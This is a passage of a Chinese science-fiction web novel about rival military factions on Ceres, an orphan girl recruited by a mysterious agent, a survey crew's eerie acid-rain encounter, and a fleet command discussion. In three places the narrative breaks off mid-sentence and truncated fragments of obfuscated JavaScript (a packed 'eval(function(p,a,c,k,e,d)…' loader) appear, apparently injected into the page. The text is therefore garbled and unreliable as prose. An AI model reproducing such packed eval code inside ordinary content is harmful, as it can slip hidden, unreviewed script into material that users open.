阙呼星接通与副官野骘的双向频道,对尚在卫星三姐妹轮值的分队下达全面戒严的命令,他另邀麾下此次选入行动的亲信加入频段,单兵斥候们正聚集在先遣舰的隔离庭等待长官召唤。 见众人开始各自忙碌,十夜无难不过多干涉,大致安排几句便退出影像系统,乌灵辉以为上司要问责情报处,这位年轻的军团长却转而找来团中的几位书记官,安排他们即刻动身访问比邻的军团和主战旅,随后又让他带队去监视军工合作商的动向。 一向会察言观色的乌少尉看出老大有要事,麻利地领命回往岗位上组织工作,路至半途想起营长的嘱托,于是折回十夜的办公室,通过面部信息认证许可后,门周的光拟护栏乍然褪去,踏入室内的同刻,一道纤细身形倒挂而下,差点与他鼻尖相对撞在一块。 “小乌哥,上次答应我的东西呢?”女孩厚重的刘海垂落,露出光洁的脑门,浓黑的眼瞳透着点不悦,她差点就错过了这位自己钦点的快递配送员。 乌灵辉没敢吱声,圆桌旁军团长百忙中与他对上视线,显然是听说了什么,一时间汗流浃背:“那啥,东西已经到我宿舍了,下次、下次开会的时候带给你。” “谁知道下次邹大爷会不会放你出来,我可等不了那么久。”天婴翻身跃下,故作无奈地抄手揣兜:“没有活干的日子好无聊啊,实在不行我去基地那边转转?” 您可真不懂当代牛马的感受,一年大半时间都在出勤的少尉难以对答,为了兄弟们休沐时少受折腾,他背着团长眨眨眼,用气声疯狂暗示:“晚饭后白桦林见。” 十夜无难只当没看到他俩的动静,语气毫无波动:“邹叔要什么你自便。” 天婴得趣后闪身坐在窗边,得以脱身的乌灵辉目不斜视地朝他敬礼,径直绕开全景控制台,娴熟地搬开后方暗板,从中掏出一袋麻将夹在胳膊下,看似镇定实则慌得要死,胡乱顺了几包外形跟营长描述中大差不差的特产,然后飞快告别二人,带门而去。 十夜抚平驻地申请研究室的文件,望向窗外不知道在想些什么,不过一会他回过神来,将精力投入繁多的文件批复中,身侧天婴晃晃脑袋,见伴生主没有从工作中抽身的意思,自行抽出维生链接栓接入脊柱端部。 “生化维生装置已连接。” 她合上双目宛如陷入沉睡,意识端不知溜去找谁玩耍了。 - “嗨,劼洛,你不是来找我的吗?现在又要去哪?又去做你那份时薪三个币的泔水工吗?” 少年惊惧回头,谷杆纤维衣料粗糙起毛,刮得她颈窝生疼,身处的小巷子墙垣狭窄,阴影之下密不透光,黑暗笼罩中她很快调整好表情,粗声粗气骂道:“关你屁事。” 岔口走来一位身着教会服饰的中年男性,他面容油腻泛黄,眼下挂着鹌鹑蛋大小的眼袋,明显一副日夜操劳的样子:“求人就这态度?算了,我这做哥哥的不跟你计较,要钱没有,不过我们社区的睦月会正招人,一天六十信用点,这好差事我可没留给别人,考虑下?” 劼洛恶狠狠吐了口唾沫:“六十个点?你起码赚了五层利才肯吐出点嚼过的渣来。” 中年男性大笑,嘲讽意味十足,一股烟酒味飘出,让不远外的劼洛胃部阵阵翻涌:“这点渣可是别人求都求不来的肥差,也就是我亲妹妹才会给这个机会。” 少年迈开步子欲走,被修士粗鲁扯住胳膊,她顺劲道向二哥滑去,男子收不住力朝后仰倒,被少年一脚踹在肥厚的肚腩。 “给脸不要脸了是不是!” 修士缓了好一会,扶墙起身却发现少年早已跑远,嘴中骂骂咧咧地拐进暗道,门后伸出一双瘦白的胳膊适时将他揽住,修士咧嘴回吻过去,胳膊的主人不着痕迹地别过头将脸颊送上,浓艳的面孔飞快掠过一丝嫌恶,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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劼洛憋着一股气跑回抚育场附近的乡野间,就像这般便能将恶心的味道与不堪甩在脑后,前方巨大教廷式建筑物沉默地注视它的子民,边缘隐约勾描出细细一圈金红夕色,她不住跃雀地加快脚步。 几息后,步伐逐渐减慢,直到一个玻璃圆口瓶滴溜溜地从右后方岔口滚来,触及脚跟带出细微脆响,劼洛站定,一股冷汗从发丝间渗出。 她没有听到人类行动的踪迹,残存的精神场却久违地鼓动,身后有东西不紧不慢的跟着她。 细风轻掠田埂,流动的地热溪流水汽蒸腾,它们卷过渺小身躯后毫不留情地带着热量向外扩张,徒留冷意染上心口。 落日,升月,灰稻,水腥,如同战后业火焚尽的战场。 滴答—— 来者破开群雾,一颗光头锃光瓦亮。 劼洛的视线被熏得模糊,不知该先把注意从那颗不合时宜好笑的脑袋上挪开,还是拔腿跑路,朦胧间,来者挥了挥手,余下雾气竟自行逸散,突然贴近的英气面容让她心头一跳。 很诡异,她并没有从来人身周感受到恶意,但那个女孩却臭着脸,天生嘴角下垂再配上一双如同头狼般的铁灰眼眸,看起来相当不好惹,她不记得何时招惹过这样的麻烦角色。 “朋友,留步。” 我精挑细选的完美假毛! 小冰暗骂那应激到将她假发扯坏的胆小鬼张笑龙,两人一鸟分开后,她一路便跟边找,眼见目标人物快到站了也没找到可以遮挡脑袋的东西,无奈之下,只得顶着卤蛋“闪亮”登场。 小冰木然:“你有东西落下了。” 劼洛定睛望去,来人撸起袖子露出结实的小臂,向她递来一张传单,表格中填满密密麻麻的数据,她并未接过,选择谨慎回应:“我好像没有随地乱扔的习惯。” 小冰从背台词的状态中脱离,突然找到了某种奇怪的状态,语气逐渐蛊惑:“想必你在打工的时候也听到一些风声,华夏的驻军即将入主这颗星球,你们那什么睦月会对此相当不满,并勒令本地人禁止进入驻军划分的安全地带,不少愿意投奔驻军的人心生不满,但碍于信徒众多不敢做些什么。” “战争很快就要开打了,教会什么也不做,甚至将普通人的安危当作开火的理由,这是华夏驻军免费升级安保系统的优惠政策报名表,为了大小朋友的性命,不考虑下吗?” 劼洛险些被她过快的语速冲晕,但从中分析出这人在打抚育场的主意,冷冷道:“你怎么不怀疑我也是信徒的一员?” “我知道你。”小冰脸上写着笃定,“大灭绝发生后,华夏曾经有一批研究土壤环境的科研人员与工农从业者请愿来到谷神星进行改善辐射方面的研究项目,不过遭到了星际流民的阻挠,他们被烧毁资料,占据科技设施,甚至付出了生命,因为其中出现了叛徒,这些情报直到近些年才被主星知晓,当初的流民摇身一变,变成了现在教会与黑市的主力军,且受益于外来者的不断加入与部分原住民被诱惑,日益壮大成如今的规模。” “你,则是那批华夏人的后代。” 小冰打了个响指,劼洛感到一股肉眼无法分辨的力量顺着颅顶涌入大脑,她的耳朵没有捕捉到空气震动的频率,却在一声类似于蜂鸣的尖锐声响后,识海中接收到对方的声音。 “成功了。”小冰露非常满意自己对精神场掌控,“你看,我们都拥有华夏的血脉,识海对接很成功。在故土,一个人自由选择某种宗教去信奉,这叫信仰,而与生俱来便身不由己的,是束缚。” “那么,你愿意站出来,为你的同伴打破枷锁吗?“ 说罢,她调整共振幅度,将目标五感强行与自身持平,为还在犹豫不决的劼洛送上无法拒绝的节目。 劼洛似乎被一阵轻盈的歌声遥遥抚摸过面颊,自唤作怀冰的女孩并不催促她做出决定,不知何时与她并肩而立,双手插兜眯眼倾听,月黄色光晕抚平其眉目间横生的戾气。 抬头望去,天与地交际处正是早已废弃的风向塔。 11. 宏尘 通往顶层的楼梯窄小得可怜,锈迹受到轻微的空气流动,不一会便在表面裂开细细的缝,碎成粉末扑扑向下坠去,几乎不可听闻的响动如同猫爪挠心般令劼洛浑身不自在,她费力地追上前方的步伐,无声地后悔草率答应与刚见面的麻烦精登塔。 不过,这位被盯上的倒霉鬼也没有其他选择,当小光头不经意间亮出了某种大功率枪型物体,她适时的闭上嘴,开始效仿古语中的俊杰前辈们。 “——献给我爱的人民与母国,好!” 萦绕在劼洛脑海的歌声停息,几乎是同一时间,楼顶爆发出尖锐的吵嚷,像无数只小鸟叽喳集会。 “梅丽走调了!哈哈到时候让她站后排,唱小声点混进去。” “闭嘴闭嘴,你唱得跟只嘎嘎叫的鸭子还好意思说我?” 孩童们的欢笑回荡在楼梯间,几步后,怀冰推开斑驳铁门,灵活闪身往门后躲,一位扎着冲天辫的女童如火焰般撞进劼洛怀中,无辜受牵连的少年不由得后退以来缓冲冲击力。 “洛洛姐姐!”梅丽的红发耀眼夺目,她神气十足地翻个面,小炮弹似的又冲了回去,把方才叫嚣的男孩扑倒踩在脚下,大声宣布:“大家静一静!洛洛姐姐来啦!” 小鸟们将傻眼的劼洛簇拥进去,晚风伴随田野间残存的稻花香氛吹入塔内,窗户上玻璃早已剥落,稍凉的空气令她打起冷战,人也清醒了。 “你们怎么都在风向塔?”她很疲惫,今日的意外耗尽了所有的情绪,此刻一点都不愿去猜测这帮精力旺盛的小破孩又在搞什么鬼。 话语既出,塔内再次爆发喧嚣,孩子们七嘴八舌的围着劼洛嚷嚷,令她本就枯涸的脑袋更加疼痛,她苦笑着让他们安静下来,重申只让一人回答问题。 瑞拉举手抢答:“我们在练歌呀。” 身后十几个小脑袋齐刷刷点动。 劼洛头疼道:“歌哪都能唱,有啥好练的,不对,你们所有人都来了?” 梅丽撤回脚,放开被盖上鞋印的库索:“与其让某些告状精跑去跟院长奶奶告密,不如绑了做同条绳子上的蚂蚱!所以,大家都在这等大哥哥啦。” 劼洛:“等等......” 她大脑发昏,强行聚集注意力抓住了重点:“是有人喊你们练习某首歌曲,他有什么目的?” 孩子们同时看往后方,一位大脸盘的女孩挤了过来,她伸出细瘦胳膊拨开同伴:“那是位好心的阿哥,他雇佣我为他演唱一首歌,我以为他跟之前的大人一样,都是逗人玩的骗子,就说我不会,可是他愿意等我去学,而且给了我足足一千块现钞票,他是个好人!” 半拉玻璃残片染上雾珠,夜幕被称作“东月”的海蓝色恒星彻底占领,其受天虹星反射而来的光辉铺满人们目之所及的地方,鸣宿人击响晷盘,阵阵类似鲸鱼的低频鸣叫从远方传来,逐渐覆盖整座城池,伴随音波的前进,天空上准时出现半透明状的巨型大气生物——巨冥,它们拥有高耸的背鳍与犄角,在人类眼中漫无目的地流动,使得星空成为相对动态的画卷,宛若亘古的海洋。 时候不早了,看来所谓“好心”的大哥正在赶来的路上。 劼洛万般无奈,回忆道:“就是你们方才唱的那首歌?我曾听奶奶唱过。” 小破孩们也纷纷肯定:“我就说调子怎么有点熟悉!” 库索拍拍屁股上的印记,又搓了把鼻涕想抹在口袋里,被瑞拉一下打掉手:“有点像奶奶唱过的摇篮曲,不过跟大哥哥曲谱上教的好像不是一种语言。” “可是后来,奶奶再也没唱过了,也警告我们不要胡乱打听这首歌,我记得应该是这么唱的......”梅丽努力复原曲子,可无论怎么回想,都只剩下几个模糊不清的音节。 身后回荡起冷硬的脚步擦地声,劼洛回头发现麻烦鬼正百无聊赖地用靴底在灰尘上画圈,见大家看向自己,怀冰摊手以示并不想打扰他们的合家欢,在孩子们好奇的目光下,她干脆道:“是同一首歌,不过各国语言翻译的版本发音不同,原作曲家是来自圣普洛斯联的梅索迩·群歌,你们院长唱的是原版语言,而怪大叔教你们的是经过改良的通用语版本。” “那它的名字真叫慷概曲吗?”大脸盘女孩发出疑问,“本意是让我们做一个慷概的人?” “通用语译为的”慷慨”并不仅是大方分享,它以华夏语系为基础,融合了很多古语典故,也包含天地正气,激昂不屈的意义,所以华夏人称它为慷慨曲。在原版所在地,它的曲名含义为”勇敢的先驱者”,而其他地区,比如天王女神星,教士们将它翻译为”无私的爱”,所以,它有很多名字。”怀冰难得耐心解释,有点不好意思,她看向窗外掩饰发烫的耳尖。 女孩安静几秒,突然兴奋地原地跳了跳,快步冲到这位陌生同龄人面前:“那我们也可以给它取名吗!” 怀冰插在工装口袋里的手握起又骤然松开,任由女孩拽住她的袖子摇晃,无奈答道:“它可以被每个理解它的人命名。” 合唱团齐声欢呼,随后又为该叫什么名字吵了起来。 “看来这里很热闹,朋友们晚上好呀。” 怀冰早已察觉到有人登塔,她的心跳不由自主变快,一种久别重逢之感油然升起,难以自制地回头望去,意外来客有着黑夜也无法掩盖的璨金发丝,举止矜贵又透露出些许少年意气,见有人在看他,稍微愣神后回以礼节性致意。 “是大哥哥!”女孩放下怀冰衣袖,转而投向来人,她向众人介绍道:“这就是我们的雇主——他叫...叫....” 劼洛拉回卡壳的女孩,警惕地告诫她:“李岚岚,院长奶奶不是说了别离陌生人太近,特别是这种长得还行的。” 来者莞尔一笑,小破孩们哇的惊叹起来,他蹲下身任由他们打量,温和道:“我是阿什列卡·群歌,深夜到访,打扰你们了。” 又狡黠地朝李岚岚眨眼:“歌曲学会了?” 李岚岚在劼洛怀中欢快挥手:“我们都会啦,不过大家想给它取一个带有谷神星语的名字!明天我要去问下叔叔阿姨们的建议,以后大家就有共同的歌曲啦。” “不过,讨论结果将是个秘密!”梅丽跃雀道,“等到正式登台演唱的那天我们在告诉你。” 阿什列卡只好故作遗憾,让他们重新回到站位,彩排间,他看到那位第一个发现他的女孩没有加入队列,好奇之下主动向她投去目光,女孩稍微挪动至社交距离内,没有作声,二人静静欣赏被成为迫领唱的劼洛与孩子们的表演。 待到末章,阿什列卡才悄然开口:“每位参与者都有奖励,小小姐不去吗?” 怀冰偏过头,闷声道:“我不要奖励,我只想跟你做个交易。” 阿什列卡朝她投去新奇的目光,女孩小小年纪,言行却显老道,衣着打扮也与月梭抚育院的孤儿大相径庭,身份腕带看不出制式,倒像是...雇佣兵的人。 他顿时来了兴趣,一双湛蓝色的眼睛微微眯起,语气还是逗小孩的,学她说话:“你想跟我做个交易?” 怀冰习以为常,这人后数百年一贯如此,她抱臂靠墙:“为稻城提供公共设施、研究器械材料的渠道,我可以五日内日帮你拿下。” 阿什列卡打趣笑道:“无需外界助力,这里的供应渠道是我的,往后赫比卢斯、泰尔卡古乃至整颗谷神星的产业链,也都将归于我名下。” “不说整个华夏,光南冕战区与各集团间就存在千万条利益链,玄烛是扎住这颗星球,但直接受命于战区,你不是华夏的人,他们凭什么放着本土势力不要,选中你?” 话说得属实过于直接,还有点伤人,如果小桑在一定会让她闭嘴,怀冰心中这么想着,但她是故意戳对方的痛点,她知道,对于阿什这样的商人,如若不想被忽悠得团团转,就只有在他未反应过来开门见山,打他个措手不及,才能使其认真起来。 万幸的是,她现在面对的是还处于小登阶段的阿什列卡,社交手段尚有些稚嫩的青年显然吃这一套,他不着痕迹地收敛笑意,反问:“所以你为什么会认为,玄烛放着知根知底且无异心的人不用,反而去为他人做嫁衣?圣普洛斯联与华夏签订了第三个百年盟约,群歌家以绝对合法的身份通过方巡回庭的资审,参与华夏的军工合作也毫无问题,你的理由并不能打动我。” “如果你手握自己的武装,而不是选择孤身一人逃家,恐怕早就知道,这天空之上,尽是等待分食硕果的鹰鸟,鹰鸟的主人都盯着表演者的动向呢,为你撑伞的人想要独自解决问题,他们能暂时赶走鹰鸟,却无法彻底驱逐向食而腐的秃鹫。” 阿什列卡仅是眉心皱动微豪,仍未改面色:“你们的目的是什么?” 怀冰略微思索,临时决定脱离疯鸟笨龙的队伍,单独行动将东西拿到手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿什列卡有些哭笑不得,女孩人小鬼大,有着超乎年龄的乖戾举止,本事确实不小,于是提出:“如果你可以帮我找到一个人,另有报酬。” “那阿什可以请我吃烧烤吗?”怀冰达成目的便放下戒心,懒洋洋地回道。 “想吃什么都可以,我请客。” 阿什列卡打定主意要套取她的来头,他意识到小光头绝对会是这场战役的未知变数,对玄烛无害也就罢了,倘若反之,他绝对不允许任何会伤害到师兄们的风险存在,即使是放弃自己的利益。 - “小桑,小桑。” “小桑,说你好。” 是夜,广场外蜿蜒的小巷密不透光,在黑暗衬托下,有如焦枯手臂纵横交错,无声诱惑迷失者进入其中,黑皮肤男孩与墨绿乌鸦的组合更是诡异,从浓雾中传来一声声呼唤,所幸此刻并无太多人流离在外,没有倒霉路人撞到这对鬼祟的搭档。 乌鸦张口就是:“噤声。” 张笑龙挠头:“可是我们要走到哪,我好无聊啊。” 他自觉作为小桑的坐骑,贴心地将棉服帽子裹紧,小桑缩在他的头顶,只露出被一圈白毛毛围着的鸟喙。 “再坚持下,没多远了。”小桑揣爪蹲卧,她可见范围最边缘处透泛起一丝跃动的光点,张笑龙感到鞋底的薄石板微震,那是神教骑士四处奔走带来的频率,“插图哥他们组织公民撤离的行为在教会眼里是明晃晃的示威,教会应该是加强了对军团与漏网人群的搜捕力度,你可能也注意到,每一条巷子的首尾都悬浮着热能监控球,好在我们的存在受时间线制约,感应器没有起效。” “呃......”男孩有点不好意思,用气声如是说道,“你是知道我的,跟你和小冰出来的时候我从来不带脑子。” 小桑飞快计算骑士巡逻的范围,留意到两边墙体上钉有小型爬梯供住户爬到屋顶,她用喙部敲敲同伙的脑袋,引导其往上方去:“看到前方有灯光的地方没?那里是睦月神教在谷神星西部最大的教堂,我们需要潜入第九层。” 他们悄然穿过住户交错悬挂的晾衣绳,张笑龙身形灵敏,数次借力攀跃并未使附着在铁丝上的露珠滴落,几息后,一人一鸟便贴在建筑物高耸的尖顶外。 “往下。”小桑命令道。 张笑龙认命地顺圆柱型排水通道向下滑,运输车轰鸣声愈加接近,他伸头望去,教堂门前竟有百来只看不出型号的机械装甲被排列整齐搬上后车箱,忽然强光穿透他的视网膜,张笑龙眼前一片亮白,边暗骂边慌忙地缩回脑袋。 “大晚上的还有乌鸦,真晦气。” 他听到底下有人也在骂,心中的词汇量更是喷涌而出。小桑飞出的瞬间嘱咐他在附近自行寻找藏身点,等待信号器接通后潜入接应。 张笑龙小幅度点头,待到视力恢复,他却依旧停留原地,直至观察到乌鸦钻进通风管后,他似乎作出某种决定,攥紧一路藏在兜里的假发,匆忙逃离现场。 12. 钢架森林 “宣小舟,接住!” 一双被反重力机械甲覆盖的手横空伸出,中号维生果冻被牢牢攥住发出吱呀”惨叫”,阿苏克仗着身量高抢先将搭档午餐收入怀中,还未等被夺食的少尉反应过来,只听短暂悉索声后,他的补给已经落入室友腹中。 宣舟先是微楞,促而抓狂道:“啊啊啊啊啊你把我的饭还回来!” 他身高1米76放舰队所有人种中并不算过分矮小,但在这厮面前还得奋力蹦跶才能够到高举着的空包装袋,好在这颗行星的重力较前几颗小型星球而言稍强,一番缠斗下,地表尘土分毫未扬,保住了无辜指挥员的作战服。 见靠山来了,宣舟瞬间士气大增,同毕业于峥嵘季的俞湫林是他上届学长,两人年龄相仿志气相投,指导教官又出自同门,自然格外亲近。 “师哥!”宣舟立刻围绕室友作恶多端的行为展开幼稚指控,俞湫林上前大有给师弟撑腰的意思,又想起真罚了此人后师弟还屡教不改的会心软,也就懒得多费口舌,学着二哥平日的言行和稀泥,两边各打几大板意思意思算了。 要不怎么说什么锅配什么盖,好搭档,一个愿打一个愿挨。 他翻出几包压缩巧克力塞给宣舟,转身时做口型警告阿苏克收着点,后者嬉皮笑脸地应下,天色暗沉,待检查过小队样本收集进度后,一行人回到停留在矮脚针叶树丛中的枢光调查舰稍作休眠,以规避即将到来的沙尘风暴与小周期性辐射酸雨。 “还给你那小女友发消息呢,后面还得扩大定位点范围,该睡了。” 阿苏克从身后拍拍宣舟肩膀,宣舟哼哼两声,拨开两边围着看热闹的狗头军师们自行躺进了维生舱,话也不说地就激活睡眠程序,军师之一的中年人被同僚称为老赵,蓄了层薄薄地胡渣,额头前发丝半长不长,平日遮住半只眼睛自认潇洒,遇到仪容检查时这撮毛又能灵活的立在眉毛之上,他摇头晃脑把刘海甩到右侧,用左眼瞅惹人生气的罪魁祸首。 “......老赵,你们就别闹他了。” 褪去防护工装,结实的肌肉上生有几道未愈合的长撕裂创口,棕发男人为自己重新贴上可溶解促生胶,随后也睡进相邻的舱内。 老赵排班靠后,此刻不急着躺下,他弹了弹阿苏克的舱壁:“这次探测结果如何?之前留下驻守的科研人员有影子没?” “暂时还没找到人类活动痕迹,你说舰队来来去去搜索了起码三十多波,大半个星球都翻遍了,他们还能龟在哪里。”阿苏克习惯性翘起腿,被系统警告后立刻老实放下,很安详地睡直了身体。 “我怀疑这里的地质有问题,指不定有地下空洞。” 阿苏克:“怎么说?” 老赵信誓旦旦道:“上批出外勤你不在,跟我们出来的研究员偶然间接收到日志形式的信号,但难以分辨坐标,当时地面可以说是一望无际,平地圈里看不见任何建筑或是据点,那会就有人推测星球存在地下空洞,但地质特殊,能把干扰信号或是将远方的信号传导至附近,影响地面的判断。” 阿苏克刚想接话茬,却被广播音乐打断,待轻扬的古典乐段播放完毕,督察官进行了最后一次入睡提示,他们对视一眼,把话题咽回肚子里。 检测到绝大部分的成员进入维生舱,系统贴心地将光块调至幽蓝模式,在三声播报后,室外像是突然拉了灯,一刹那间飞舰陷入浓重的黑暗中,预示酸雨周期降临。 沙砾被强风卷起不断拍打舷窗,星球特有的地表元素与外部气层中大量酸性物质相结合,形成乳白中带青绿的雨点顺机身滑落,以非肉眼可见的形式侵蚀防护涂层,被分配做轮值员的冯山劲靠坐主驾驶位抄录当前物资耗损情况,等到身侧督察官合眼浅寐,他迅速掏出老式寻呼机,虚拟屏幕卡顿数秒缓慢升起,虽然无网络链接,他依然乐于跟人机牌友展开畅快淋漓的战斗。 邦—邦—邦邦—— 机身左前侧好似被某种条状物击中,摸鱼仙人百忙中点开监视系统,镜头内空无一物,冯山劲拖动进度条也未有所获,只当是那些如泥鳅状深埋地底中的本地植物趁雨天破开土壤,出来做一些好奇且无害的小动作。 他接着出牌,连续失利后索性中途退出牌局,百无聊赖地点开从人类发明电脑初期流传至今的叠方块。 邦—邦—邦邦—— 冯山劲手抖把掐算好的路径堵上了,这次的动静在右后方,他小指掏掏耳朵,有些不耐烦,还是调出板面查看外界环境,依旧与寻常无异,正当他暂停游戏,拉上连体保温外套打算一探究竟时,响动却出现在他的正下方,这阵动静也毫无疑问的把督察官霍鲁斯齐惊醒了。 上尉耷拉着眼皮,被从梦中拽出来也未显不愉,观驾驶员神色异样,他意识到有事情正在发生,于是点头跟上。 “可能是繁殖期的泥鳝根。” 冯山劲顺手拎起特质强碱溶剂,晃晃还剩半瓶,他们来到舱门处隔着光学隐蔽层朝外望,地面之上遍布密密麻麻的针管草丛,它们的根茎吸收饱酸雨,形成中间鼓胀发红,两端枯黄尖细的结构,直挺挺地竖在浓稠泥浆中,令在场两人头皮紧缩。 “真恶心。”霍鲁斯齐评价道,“这期任务已经进行了两个多月,我还是看不习惯这些东西。” “帮我找找泥鳝根躲哪呢。” 黑发男人将碎发撸至脑后,耍帅般潇洒拉下成像镜,集中精力一寸寸搜索,不过一会便放弃了,原因无他,针叶草几乎将视野完全侵占,随风毫无规律地四方摇摆,放眼望去背后不由得爬满鸡皮疙瘩。 很快,霍鲁斯齐便寻到一处异常,他向冯山劲展示新发现:“我说,负责维修的机师难道没发现蜻蜓’复眼’耗损率超过百分之三十,在左侧形成了约30度的监控盲区,那些难搞的泥巴怪很有可能躲在死角里,这意味着我俩要操控群蜂们对它进行修复。” 冯山劲正寻思如何是好,闻此受到了启发,他怎么就没想到用蜂群驱赶那些扰人清静的外星伏地魔。 告知监视官自己要去激活小可爱们后,他重回主驾舱,一路穿过休眠室时甚至还对睡梦中的队友们抱怨几句,待输入激活指令折返到主舱门,才算完成折磨人的往返跑。 “长官?长官?”冯山劲四下张望,未发现霍鲁斯齐的身影,就在他低头拿打开操控器时,头顶空气轻微震动,恼人的敲击声音再次传来。 舱门外! 已是怒火中烧的少尉猛然抬首,窗面映出他气急败坏的表情,但往日极其注重形象的他此刻并没有精力去表情管理,入目的竟非泥鳝根,那是一张沾染淤泥的胖脸,身披的防护服被雨水浸透,正手脚并用地比划着什么,足底针叶草受力爆出暗红褐色浆水,雨水裹着泥渍滑下不断开启闭合的嘴唇,流入黑洞洞的口腔,隔着光拟层他听不清。 冯山劲认识来人,梅莱亚西斯熊鹰军团的次席舰队后勤官——睿科,如果没有记错,他应当早就结束上批考察,不在本次行动的大名单里,出发前他还与此人打过照面,没能要到上季度借出去的三千八百信用点。 酸雨越下越大,门外的睿科看上去更加焦躁,可与疯狂乱舞的肢体动作相比,其挂在脸上的圆滑笑容始终未曾改变,仿佛牢刻在面具上。 肥胖肚腩终究还是撑破了作训外套,拉链崩裂胀起青白皮肤,隐约能看到暗黄脂肪堆积其下,一眼望去像只仰面蹬腿的蟾蜍。 冯山劲心惊,试图将动作与语言相联系,经过多段音形匹配,豆大的冷汗从他发丝间渗出,这些与舞蹈类似的动作有着怪诞律动,他逐渐将之拼凑成一种讯息。 --让我回家。 球形闪电在针叶草群上方炸开,余留惨白眩光撕裂了冯山劲佯装平稳的呼吸,区域性环境周期进入更加恶劣的阶段,他小口急促吸气,大脑急速运转,努力分辨门外家伙到底是上次任务中特殊磁场留下的影像还是人体紧张产生的幻觉。 或者,他是活人还是死人? 冯山劲被自己的猜想吓到,眼下做出决定要紧,他接连好对外通讯,语气不自觉带着点暴躁:“编号ML15601睿科·弗埃尔,你不在本轮任务名单内,为何违反外勤管理条例,请回答。” 通讯频谱呈八道直线,模块没能收集到特定有机体发声信号,一段高频轻微传入他的脑海,又轻又薄,沙沙得犹如白噪音,微妙地夹杂些许人类上下牙床咬合时的击打声,冯山劲疑似作为室内唯一还清醒着的人,冷不丁回忆起那些敲击飞舰的节奏与这段音频几近相同。 他艰难地将目光从模块板面移出,门外那人不再笑,嘴巴僵硬地一开一合。 “哒、哒、哒哒......” 让、我、回家...... 冯山劲感到时间已经过去了几个小时,他下意识看了眼计时器,视线却定在下方监控回放板面,先前霍鲁斯齐不知看到了什么,竟然从逃生口的单向舱门径直向外走出去,冯山劲当即跳起检查身侧的压力锁,看到其完好无损时才舒了口气。 睿科整个躯体突然顿住,定格成嘴巴洞开的样子,冯山劲方才将侦察镜片调节为面部捕捉模式,这下看得一清二楚,那张嘴中隐约瞪着两只眼睛,好似一个比例缩小的人类套上胖子的皮在行动。 冯山劲死死盯住昔日的债务人,摁住外部热武器启动纽,两下击穿他的胸腔与头颅。 谁知那躯壳没有如预想般倒下,反而踉跄向前挪动,冲他扬起无机质的扭曲面容,倒霉的亲历者咬牙拉响了警报。 - 不周山舰队的星罗大礼堂坐落于整艘主舰中央最上层,仅启用于因涉及到舰队整体方针而召开的表决会议,平日里只开放两间外厅用于舰长办公。 礼堂除开诸国与人类联盟的代表物外未有多余装饰品,在人为磁场运作下它们弧线形悬浮排开,紧紧簇拥会议厅外围,与上方流动的国旗悬岛相对应,俯瞰之下宛若星棋,整座设施因此显得肃穆寂寥,室内穹顶直达主舰最高处,内侧是一块以合能水晶与复合金属纤维打磨成高强度防护盖,其往外的层数按材质性能依次向外加深保护工程,舰队庆典前后会根据所处空间的条件打开部分罩子,让外部景象投射到礼堂中心,它就像舰身深邃而智慧的巨目,睁眼便可直视宇宙的浩瀚无垠。 如果问淮因最欣赏不周山哪处室内建筑,他毫无疑问会选这里,它象征舰队最至高无上的权力与荣耀,却也像极了淮因儿时失手摔碎的万花筒。当初他放弃坐上总舰长的位置,自然不可能得到这份嘉奖。 硬底作战靴稳健地踏在蜡木地板,一下一下敲击在现任总舰长神经皮层上,以露纱见状起身相迎,淮因抬手让她坐回去,随即在对面沙发上安然落座。 “......”以露纱挤出一抹客气的笑容,倒也没必要离这么远吧? 黑发指挥官回以微笑:“舰长需要我办什么。” 以露纱发根都立起来了,心道谁敢使唤这尊凶神,只得老实交代:“不好意思哈,我把申科夫的消息告诉了你副官,我真以为他知道的。” “无碍,他迟早要参与进来。”淮因依旧双手交叠放置腿上,沉静地接受舰长的问话,他自然明白近日诸多行为引起了旁人争议,“还有吗。” “我想问个事。”以露纱观老友一副不放在心上的态度,胆子也大了起来,“你为啥要将瑞斯洛上校的队伍调到总控岗,我记得绿深石联盟曾向你申请过这个部门,他们在扳倒萨顿派后期可是出了大力的,怎么把他们前期的对立国给弄过去了?” “没错,兰青中校是向我申请过,可我不想看到墙头草与叛主犬其乐融融地握手言和,要知道,因己方利益受损才站在一起对付共同敌人的同盟是最脆弱的。”淮因漫不经心伸手叩击桌面,“祸不及自己便作壁上观,等死到临头了突然惊觉谁才是真正的敌人,这种眼界和品性,往好处说容易拿捏,但回程路途遥远,时间久了恐怕难逃被不安分的人利用。” 以露纱会意:“所以你打算拆散这对盟友,让他们重新回到相互不信任的状态,以便于打乱新阵营产生。”她托起精致的下颚,暗自腹诽此人心机还是如此深沉。 淮因偏过头,无奈解释道:“你想得太简单了,舰长。先前打乱影王庭与RTP帝国军的联合分舰队时我就说过,站在他们的角度,明面上越是让他们对立,他们越认为自己的同盟坚不可摧,会更加团结地抵御我这个反派来挑拨离间,同时,出于忌惮舰队主控权被我所掌握,只要不涉及到核心利益,他们只敢抱团取暖来维持现状,任他人怎么挑唆也翻不出什么水花。” “那你呢?”以露纱担忧道,“回到主星域后他们有了母国支持,大概率会联合在一起翻旧账咬人。” 淮因觉得自家盟友简直单纯可爱,这就足够了,他嘴角轻微勾起,这是个发自内心的笑容:“不是还有你们吗,我的好友。” “早年萨顿派可没欺负到咱们头上,还记得最开始的是由谁带头平定乱象?” 见气氛不似方才紧张,以露纱乐道:“申科夫那老东西底下养的废物明目张胆克扣弱国供给,隔壁依罗军人揭竿而起砸了食堂,你跟我那会还都是新兵蛋子,窗口排队时被扣了一头番茄炒河鹑蛋,我俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 